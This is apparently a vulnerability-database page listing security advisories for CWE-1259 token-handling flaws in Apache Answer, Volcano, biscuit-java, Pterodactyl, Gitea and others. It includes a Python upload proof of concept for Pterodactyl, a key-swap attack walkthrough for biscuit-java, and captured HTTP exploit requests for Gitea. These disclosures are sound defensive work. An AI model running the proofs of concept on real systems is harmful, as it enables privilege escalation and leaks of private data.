Common Weakness Enumeration

CWE-1259

Allowed

Improper Restriction of Security Token Assignment

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

The System-On-A-Chip (SoC) implements a Security Token mechanism to differentiate what actions are allowed or disallowed when a transaction originates from an entity. However, the Security Tokens are improperly protected.

24 vulnerabilities reference this CWE, most recent first.

GHSA-4GW2-VG4X-7P29

Vulnerability from github – Published: 2026-06-10 18:31 – Updated: 2026-08-17 21:53
VLAI
Summary
Apache Answer: AdminToken not invalidated after admin deactivation
Details

Improper Restriction of Security Token Assignment vulnerability in Apache Answer.

This issue affects Apache Answer: through 2.0.0.

Previously issued administrative tokens were not invalidated after an administrator account was suspended, deleted, or deactivated, allowing continued access to administrative APIs until the token expired. Users are recommended to upgrade to version 2.0.1, which fixes the issue.

Severity
7.2 (High)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.4.2-RC1"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/apache/incubator-answer"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.7.1"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/apache/answer"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-25700"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1259"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-17T21:53:44Z",
    "nvd_published_at": "2026-06-10T16:16:58Z",
    "severity": "HIGH"
  },
  "details": "Improper Restriction of Security Token Assignment vulnerability in Apache Answer.\n\nThis issue affects Apache Answer: through 2.0.0.\n\nPreviously issued administrative tokens were not invalidated after an administrator account was suspended, deleted, or deactivated, allowing continued access to administrative APIs until the token expired.\nUsers are recommended to upgrade to version 2.0.1, which fixes the issue.",
  "id": "GHSA-4gw2-vg4x-7p29",
  "modified": "2026-08-17T21:53:44Z",
  "published": "2026-06-10T18:31:45Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25700"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apache/answer"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/answer/releases/tag/v2.0.1"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/ftw52mlxknjm29vo1mnqovj53z2kh96y"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2026/06/10/10"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Apache Answer: AdminToken not invalidated after admin deactivation"
}

GHSA-5G3X-8G2V-R8X8

Vulnerability from github – Published: 2024-07-24 21:31 – Updated: 2024-08-07 15:09
VLAI
Summary
Volcano has insecure permissions
Details

Insecure permissions in volcano v1.8.2 allows attackers to access sensitive data and escalate privileges by obtaining the service account's token.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
9.3 (Critical)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/volcano-sh/volcano"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.10.0-alpha.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "volcano.sh/volcano"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.10.0-alpha.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-36533"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1259"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-08-02T16:02:13Z",
    "nvd_published_at": "2024-07-24T20:15:03Z",
    "severity": "CRITICAL"
  },
  "details": "Insecure permissions in volcano v1.8.2 allows attackers to access sensitive data and escalate privileges by obtaining the service account\u0027s token.",
  "id": "GHSA-5g3x-8g2v-r8x8",
  "modified": "2024-08-07T15:09:35Z",
  "published": "2024-07-24T21:31:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-36533"
    },
    {
      "type": "WEB",
      "url": "https://github.com/volcano-sh/volcano/issues/3446"
    },
    {
      "type": "WEB",
      "url": "https://github.com/volcano-sh/volcano/pull/3449"
    },
    {
      "type": "WEB",
      "url": "https://github.com/volcano-sh/volcano/commit/55963f71c76cb85cea1cdb9582ea7d58cfbedcf8"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/HouqiyuA/a0e05a26ecc80bd970ac4649faecc930"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/volcano-sh/volcano"
    },
    {
      "type": "WEB",
      "url": "https://pkg.go.dev/vuln/GO-2024-3034"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Volcano has insecure permissions"
}

GHSA-5HCJ-RWM6-XMW4

Vulnerability from github – Published: 2024-07-31 18:48 – Updated: 2024-11-18 16:26
VLAI
Summary
biscuit-java vulnerable to public key confusion in third party block
Details

Impact

Tokens with third-party blocks containing trusted annotations generated through a third party block request. Due to implementation issues in biscuit-java, third party block support in published versions is inoperating. Nevertheless, to synchronize with other implementations, we publish this advisory and the related fix.

Description

Third-party blocks can be generated without transferring the whole token to the third-party authority. Instead, a ThirdPartyBlock request can be sent, providing only the necessary info to generate a third-party block and to sign it:

the public key of the previous block (used in the signature) the public keys part of the token symbol table (for public key interning in datalog expressions) A third-part block request forged by a malicious user can trick the third-party authority into generating datalog trusting the wrong keypair.

Consider the following example (nominal case) * Authority A emits the following token: check if thirdparty("b") trusting ${pubkeyB} * The well-behaving holder then generates a third-party block request based on the token and sends it to third-party authority B * Third-party B generates the following third-party block thirdparty("b"); check if thirdparty("c") trusting ${pubkeyC} * The token holder now must obtain a third-party block from third party C to be able to use the token

Now, with a malicious user: * Authority A emits the following token: check if thirdparty("b") trusting ${pubkeyB} * The holder then attenuates the token with the following third party block thirdparty("c"), signed with a keypair pubkeyD, privkeyD) they generate * The holder then generates a third-party block request based on this token, but alter the ThirdPartyBlockRequest publicKeys field and replace pubkeyD with pubkeyC * Third-party B generates the following third-party block thirdparty("b"); check if thirdparty("c") trusting ${pubkeyC} * Due to the altered symbol table, the actual meaning of the block is thirdparty("b"); check if thirdparty("c") trusting ${pubkeyD} * The attacker can now use the token without obtaining a third-party block from C.

Patches

Has the problem been patched? What versions should users upgrade to?

Workarounds

Is there a way for users to fix or remediate the vulnerability without upgrading?

References

Are there any links users can visit to find out more?

Severity
3.0 (Low)
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:N/I:L/A:N
5.1 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.biscuitsec:biscuit"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "4.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-41948"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1259"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-07-31T18:48:40Z",
    "nvd_published_at": "2024-08-01T22:15:28Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\nTokens with third-party blocks containing trusted annotations generated through a third party block request. Due to implementation issues in biscuit-java,  third party block support in published versions is inoperating. Nevertheless, to synchronize with other implementations, we publish this advisory and the related fix.\n\n### Description\nThird-party blocks can be generated without transferring the whole token to the third-party authority. Instead, a `ThirdPartyBlock` request can be sent, providing only the necessary info to generate a third-party block and to sign it:\n\nthe public key of the previous block (used in the signature)\nthe public keys part of the token symbol table (for public key interning in datalog expressions)\nA third-part block request forged by a malicious user can trick the third-party authority into generating datalog trusting the wrong keypair.\n\nConsider the following example (nominal case)\n* Authority A emits the following token: `check if thirdparty(\"b\") trusting ${pubkeyB}`\n* The well-behaving holder then generates a third-party block request based on the token and sends it to third-party authority B\n* Third-party B generates the following third-party block `thirdparty(\"b\"); check if thirdparty(\"c\") trusting ${pubkeyC}`\n* The token holder now must obtain a third-party block from third party C to be able to use the token\n\nNow, with a malicious user:\n* Authority A emits the following token: `check if thirdparty(\"b\") trusting ${pubkeyB}`\n* The holder then attenuates the token with the following third party block `thirdparty(\"c\")`, signed with a keypair pubkeyD, privkeyD) they generate\n* The holder then generates a third-party block request based on this token, but alter the `ThirdPartyBlockRequest` publicKeys field and replace pubkeyD with pubkeyC\n* Third-party B generates the following third-party block `thirdparty(\"b\"); check if thirdparty(\"c\") trusting ${pubkeyC}`\n* Due to the altered symbol table, the actual meaning of the block is `thirdparty(\"b\"); check if thirdparty(\"c\") trusting ${pubkeyD}`\n* The attacker can now use the token without obtaining a third-party block from C.\n\n### Patches\n_Has the problem been patched? What versions should users upgrade to?_\n\n### Workarounds\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_\n\n### References\n_Are there any links users can visit to find out more?_\n\n",
  "id": "GHSA-5hcj-rwm6-xmw4",
  "modified": "2024-11-18T16:26:57Z",
  "published": "2024-07-31T18:48:40Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/biscuit-auth/biscuit-java/security/advisories/GHSA-5hcj-rwm6-xmw4"
    },
    {
      "type": "WEB",
      "url": "https://github.com/biscuit-auth/biscuit/security/advisories/GHSA-rgqv-mwc3-c78m"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-41948"
    },
    {
      "type": "WEB",
      "url": "https://github.com/biscuit-auth/biscuit-java/commit/2e05e7b3f8f2aae38f33294f19419e2d638cb564"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/biscuit-auth/biscuit-java"
    },
    {
      "type": "WEB",
      "url": "https://github.com/biscuit-auth/biscuit-java/releases/tag/4.0.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:N/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "biscuit-java vulnerable to public key confusion in third party block"
}

GHSA-5XQV-9PR8-P6MP

Vulnerability from github – Published: 2025-09-30 18:30 – Updated: 2025-10-01 21:31
VLAI
Details

A security flaw in the '_transfer' function of a smart contract implementation for Money Making Opportunity (MMO), an Ethereum ERC721 Non-Fungible Token (NFT) project, allows users or attackers to transfer NFTs to the zero address, leading to permanent asset loss and non-compliance with the ERC721 standard. The eth address is 0x41d3d86a84c8507a7bc14f2491ec4d188fa944e7, contract name is MoneyMakingOpportunity, and compiler version is v0.8.17+commit.8df45f5f.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-56207"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1259"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-30T17:15:41Z",
    "severity": "MODERATE"
  },
  "details": "A security flaw in the \u0027_transfer\u0027 function of a smart contract implementation for Money Making Opportunity (MMO), an Ethereum ERC721 Non-Fungible Token (NFT) project, allows users or attackers to transfer NFTs to the zero address, leading to permanent asset loss and non-compliance with the ERC721 standard. The eth address is 0x41d3d86a84c8507a7bc14f2491ec4d188fa944e7, contract name is MoneyMakingOpportunity, and compiler version is v0.8.17+commit.8df45f5f.",
  "id": "GHSA-5xqv-9pr8-p6mp",
  "modified": "2025-10-01T21:31:20Z",
  "published": "2025-09-30T18:30:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-56207"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Monekon/CVE/blob/main/Vulnerabilities/MMO_Transfer_to_ZeroAddress.md"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-6GCG-CV7X-6HM2

Vulnerability from github – Published: 2025-08-06 15:31 – Updated: 2025-08-06 21:31
VLAI
Details

In Gatling Enterprise versions below 1.25.0, a user logging-out can still use his session token to continue using the application without expiration, due to incorrect session management.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-51306"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1259"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-08-06T15:15:32Z",
    "severity": "MODERATE"
  },
  "details": "In Gatling Enterprise versions below 1.25.0, a user logging-out can still use his session token to continue using the application without expiration, due to incorrect session management.",
  "id": "GHSA-6gcg-cv7x-6hm2",
  "modified": "2025-08-06T21:31:39Z",
  "published": "2025-08-06T15:31:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-51306"
    },
    {
      "type": "WEB",
      "url": "https://gatling.io/products"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Flo354/vulnerabilities/blob/main/gatling-enterprise/CVE-2025-51306-broken-logout.md"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Flo354/vulnerabilities/blob/main/gatling-enterprise/CVE-2025-51306-change-permissions-not-reflected.md"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Flo354/vulnerabilities/tree/main/gatling-enterprise"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8R6W-3QQ5-4P4R

Vulnerability from github – Published: 2026-07-28 15:43 – Updated: 2026-07-28 15:43
VLAI
Summary
Pterodactyl's improper JWT scoping allows subuser to upload files when not explicitly granted `file.create` permissions
Details

Summary

A privilege escalation vulnerability exists in the Wings /upload/file endpoint due to insufficient validation of panel-signed JWTs. Wings accepts any valid panel-signed JWT containing server_uuid, user_uuid, and unique_id, regardless of the token’s intended purpose. Because the Panel issues JWTs with these same claims for other lower-privilege operations (such as WebSocket authentication and file download links), an authenticated subuser can reuse one of those tokens to upload arbitrary files without possessing the required file.create permission.

Impact

Any subuser with permission to connect to a server's console, download files, or download backups could reuse those tokens to upload arbitrary files to the same server. A user that does not have access to a server as a subuser is not able to arbitrarily upload files.

Details

The panel generated JWT tokens for various purposes: - https://github.com/pterodactyl/panel/blob/0f82c105201b192d229f6abd5827e2ee7e672a05/app/Services/Backups/DownloadLinkService.php#L33-L36 - https://github.com/pterodactyl/panel/blob/0f82c105201b192d229f6abd5827e2ee7e672a05/app/Http/Controllers/Api/Client/Servers/FileUploadController.php#L45 - https://github.com/pterodactyl/panel/blob/0f82c105201b192d229f6abd5827e2ee7e672a05/app/Http/Controllers/Api/Client/Servers/WebsocketController.php#L58-L61 - https://github.com/pterodactyl/panel/blob/0f82c105201b192d229f6abd5827e2ee7e672a05/app/Http/Controllers/Api/Client/Servers/FileController.php#L82-L85 Though as the actual purpose is not conveyed part of the JWT tokens, this introduces this vulnerability of being able to do non-intended actions due to the expected fields (i.e. server_uuid) on most endpoints being the same when parsing it on wings' side.

PoC

Create a new subuser that has the minimal amount of permissions on a server (websocket.connect). As that subuser, retrieve a websocket JWT token from the GET /api/client/servers/[...]/websocket endpoint (in my case, I manually just make a request under that user's browser session; you can probably just resend the /websocket request in browser console to get a fresh unused token). Using that websocket token, we can abuse this by directly using it in the /upload/file endpoint of the wings node instead of using it for websocket authentication:

import requests

wings_url = 'http://[...]:8080'
websocket_token = '[...]'

res = requests.post(f'{wings_url}/upload/file', params = {
    'token': websocket_token,
}, files = {
    'files': ('file-upload.txt', b'Hello, World!'),
})
print(res.status_code, res.content)

Observe, that even though our subuser never has permissions outside viewing the console, they are able to write arbitrary files in the server. This pattern happens in a lot of other action, but this is probably the most interesting one.

Severity
8.1 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "pterodactyl/panel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.12.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/pterodactyl/wings"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.12.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54593"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1259",
      "CWE-1270"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-28T15:43:25Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nA privilege escalation vulnerability exists in the Wings /upload/file endpoint due to insufficient validation of panel-signed JWTs. Wings accepts any valid panel-signed JWT containing `server_uuid`, `user_uuid`, and `unique_id`, regardless of the token\u2019s intended purpose. Because the Panel issues JWTs with these same claims for other lower-privilege operations (such as WebSocket authentication and file download links), an authenticated subuser can reuse one of those tokens to upload arbitrary files without possessing the required `file.create` permission.\n\n### Impact\nAny subuser with permission to connect to a server\u0027s console, download files, or download backups could reuse those tokens to upload arbitrary files to the _same server_. A user that does not have access to a server as a subuser is not able to arbitrarily upload files.\n\n### Details\nThe panel generated JWT tokens for various purposes:\n- https://github.com/pterodactyl/panel/blob/0f82c105201b192d229f6abd5827e2ee7e672a05/app/Services/Backups/DownloadLinkService.php#L33-L36\n- https://github.com/pterodactyl/panel/blob/0f82c105201b192d229f6abd5827e2ee7e672a05/app/Http/Controllers/Api/Client/Servers/FileUploadController.php#L45\n- https://github.com/pterodactyl/panel/blob/0f82c105201b192d229f6abd5827e2ee7e672a05/app/Http/Controllers/Api/Client/Servers/WebsocketController.php#L58-L61\n- https://github.com/pterodactyl/panel/blob/0f82c105201b192d229f6abd5827e2ee7e672a05/app/Http/Controllers/Api/Client/Servers/FileController.php#L82-L85\nThough as the actual purpose is not conveyed part of the JWT tokens, this introduces this vulnerability of being able to do non-intended actions due to the expected fields (i.e. `server_uuid`) on most endpoints being the same when parsing it on wings\u0027 side.  \n\n### PoC\nCreate a new subuser that has the minimal amount of permissions on a server (`websocket.connect`). As that subuser, retrieve a websocket JWT token from the `GET /api/client/servers/[...]/websocket` endpoint (in my case, I manually just make a request under that user\u0027s browser session; you can probably just resend the /websocket request in browser console to get a fresh unused token). Using that websocket token, we can abuse this by directly using it in the `/upload/file` endpoint of the wings node instead of using it for websocket authentication:\n```python3\nimport requests\n\nwings_url = \u0027http://[...]:8080\u0027\nwebsocket_token = \u0027[...]\u0027\n\nres = requests.post(f\u0027{wings_url}/upload/file\u0027, params = {\n    \u0027token\u0027: websocket_token,\n}, files = {\n    \u0027files\u0027: (\u0027file-upload.txt\u0027, b\u0027Hello, World!\u0027),\n})\nprint(res.status_code, res.content)\n```\nObserve, that even though our subuser never has permissions outside viewing the console, they are able to write arbitrary files in the server. This pattern happens in a lot of other action, but this is probably the most interesting one.",
  "id": "GHSA-8r6w-3qq5-4p4r",
  "modified": "2026-07-28T15:43:25Z",
  "published": "2026-07-28T15:43:25Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pterodactyl/panel/security/advisories/GHSA-8r6w-3qq5-4p4r"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pterodactyl/panel/pull/5636"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pterodactyl/panel/commit/7ffcd636310bb72b54bac3280d2a15e727feded7"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pterodactyl/wings/commit/d0ddc80844479302abdaf9654de3bacd511c0f5c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pterodactyl/panel"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Pterodactyl\u0027s improper JWT scoping allows subuser to upload files when not explicitly granted `file.create` permissions"
}

GHSA-F2RQ-QHQV-93PG

Vulnerability from github – Published: 2025-06-02 18:30 – Updated: 2025-06-04 18:30
VLAI
Details

Clinical Collaboration Platform 12.2.1.5 has a weak logout system where the session token remains valid after logout and allows a remote attacker to obtain sensitive information and execute arbitrary code.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-27955"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1259"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-06-02T18:15:24Z",
    "severity": "MODERATE"
  },
  "details": "Clinical Collaboration Platform 12.2.1.5 has a weak logout system where the session token remains valid after logout and allows a remote attacker to obtain sensitive information and execute arbitrary code.",
  "id": "GHSA-f2rq-qhqv-93pg",
  "modified": "2025-06-04T18:30:56Z",
  "published": "2025-06-02T18:30:52Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-27955"
    },
    {
      "type": "WEB",
      "url": "https://github.com/intruderlabs/cvex/tree/main/Carestream/session-token-in-url"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-FQ2P-5P22-8G6J

Vulnerability from github – Published: 2026-07-21 21:56 – Updated: 2026-07-21 21:56
VLAI
Summary
Gitea: Public-Only Personal access tokens scope bypass in Organization and Permission Endpoints
Details

Summary

A personal access token restricted with the public-only scope can still retrieve private organization membership and organization permission details for its own account through organization-listing endpoints. This bypass breaks the intended guarantee that such tokens are limited to public resources only.

Details

The issue affects the following endpoints: GET /api/v1/user/orgs GET /api/v1/users/{username}/orgs/{org}/permissions

The application correctly prevents a public-only token from directly accessing a private organization through: GET /api/v1/orgs/{org}

However, that same token can still obtain private organization data through alternate code paths.

The root cause is inconsistent enforcement of the public-only restriction. The middleware responsible for blocking non-public organization access depends on route context being populated with the target organization. That assumption does not hold for all affected routes.

For GET /api/v1/user/orgs, the route does not apply checkTokenPublicOnly() at all.

For GET /api/v1/users/{username}/orgs, the middleware is present, but it evaluates ctx.ContextUser, which represents the user named in the path, not the organization objects returned by the handler. Since ctx.Org.Organization is not populated for these responses, private organization results are not filtered.

The organization listing logic then uses the effective relationship between the authenticated user and the target user to determine visibility. When the token belongs to the same user, the handler allows private organization visibility and returns private memberships.

The permissions endpoint is similarly affected. It relies on general visibility logic relative to the real user account rather than explicitly enforcing the public-only token restriction before returning organization authorization details. As a result, a restricted token can still obtain organization role information such as ownership, admin status, and repository creation capability for a private organization.

This is therefore a route-specific authorization failure: direct organization access is blocked, but indirect endpoints still disclose private organization-derived data.

PoC

Step 1: Create or use a user account that belongs to at least one private organization. Screenshot 2026-04-16 001614

Step 2: Generate a personal access token for that same user with the scopes: public-only, read:user, and read:organization

https://github.com/user-attachments/assets/c89c9004-5e6d-4ff9-b130-5cd9fedc38f6

Step 3: Confirm the token is correctly restricted by requesting the private organization directly Screenshot 2026-04-16 002345

[REQUEST] GET /api/v1/orgs/private_1?token=d8010b3dee25df1a9c3cb6aafbd24c27dae7ca56 HTTP/2 Host: gitea.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:148.0) Gecko/20100101 Firefox/148.0 Accept: application/json Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Referer: https://gitea.com/api/swagger Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Priority: u=0 Te: trailers

[RESPONSE] HTTP/2 403 Forbidden Alt-Svc: h3=":443"; ma=2592000 Cache-Control: max-age=0, private, must-revalidate, no-transform Content-Type: application/json;charset=utf-8 Date: Wed, 15 Apr 2026 17:23:19 GMT Server: Caddy Vary: Origin X-Content-Type-Options: nosniff X-Gitea-Warning: token and access_token API authentication is deprecated and will be removed in gitea 1.23. Please use AuthorizationHeaderToken instead. Existing queries will continue to work but without authorization. Content-Length: 89 {"message":"token scope is limited to public orgs","url":"https://gitea.com/api/swagger"}

Step 4: Use the same token to request the authenticated user’s organizations. Observe that request send successful and receive data about private org. Screenshot 2026-04-16 002751 [REQUEST] GET /api/v1/user/orgs?token=d8010b3dee25df1a9c3cb6aafbd24c27dae7ca56 HTTP/2 Host: gitea.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:148.0) Gecko/20100101 Firefox/148.0 Accept: application/json Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Referer: https://gitea.com/api/swagger Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Priority: u=0 Te: trailers

[RESPONSE] HTTP/2 200 OK Access-Control-Expose-Headers: X-Total-Count Alt-Svc: h3=":443"; ma=2592000 Cache-Control: max-age=0, private, must-revalidate, no-transform Content-Type: application/json;charset=utf-8 Date: Wed, 15 Apr 2026 17:26:35 GMT Server: Caddy Vary: Origin X-Content-Type-Options: nosniff X-Gitea-Warning: token and access_token API authentication is deprecated and will be removed in gitea 1.23. Please use AuthorizationHeaderToken instead. Existing queries will continue to work but without authorization. X-Total-Count: 1 Content-Length: 261 [{"id":192111,"name":"private_1","full_name":"","email":"","avatar_url":"https://gitea.com/avatars/cc05fbb4da63b760bf83cdc054c3be63","description":"","website":"","location":"","visibility":"private","repo_admin_change_team_access":true,"username":"private_1"}]

Step 5: Use the same token to request organization permissions for that private organization. Screenshot 2026-04-16 003100 [REQUEST] GET /api/v1/users/pcatso172124/orgs/private_1/permissions?token=d8010b3dee25df1a9c3cb6aafbd24c27dae7ca56 HTTP/2 Host: gitea.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:148.0) Gecko/20100101 Firefox/148.0 Accept: application/json Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Referer: https://gitea.com/api/swagger Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Priority: u=0 Te: trailers

[RESPONSE] HTTP/2 200 OK Alt-Svc: h3=":443"; ma=2592000 Cache-Control: max-age=0, private, must-revalidate, no-transform Content-Type: application/json;charset=utf-8 Date: Wed, 15 Apr 2026 17:30:32 GMT Server: Caddy Vary: Origin X-Content-Type-Options: nosniff X-Gitea-Warning: token and access_token API authentication is deprecated and will be removed in gitea 1.23. Please use AuthorizationHeaderToken instead. Existing queries will continue to work but without authorization. Content-Length: 95

{"is_owner":true,"is_admin":true,"can_write":true,"can_read":true,"can_create_repository":true}

Impact

Any public-only token for a user who belongs to private organizations can enumerate those private organization names and retrieve detailed authorization information such as ownership, administrative status, write access, read access, and repository-creation capability. This weakens least-privilege token delegation and can expose sensitive internal organizational structure and privilege relationships to third-party integrations, CI jobs, or compromised automation that were only meant to access public data.

Severity
4.9 (Medium)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "code.gitea.io/gitea"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.27.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-58429"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1259",
      "CWE-284"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-21T21:56:04Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
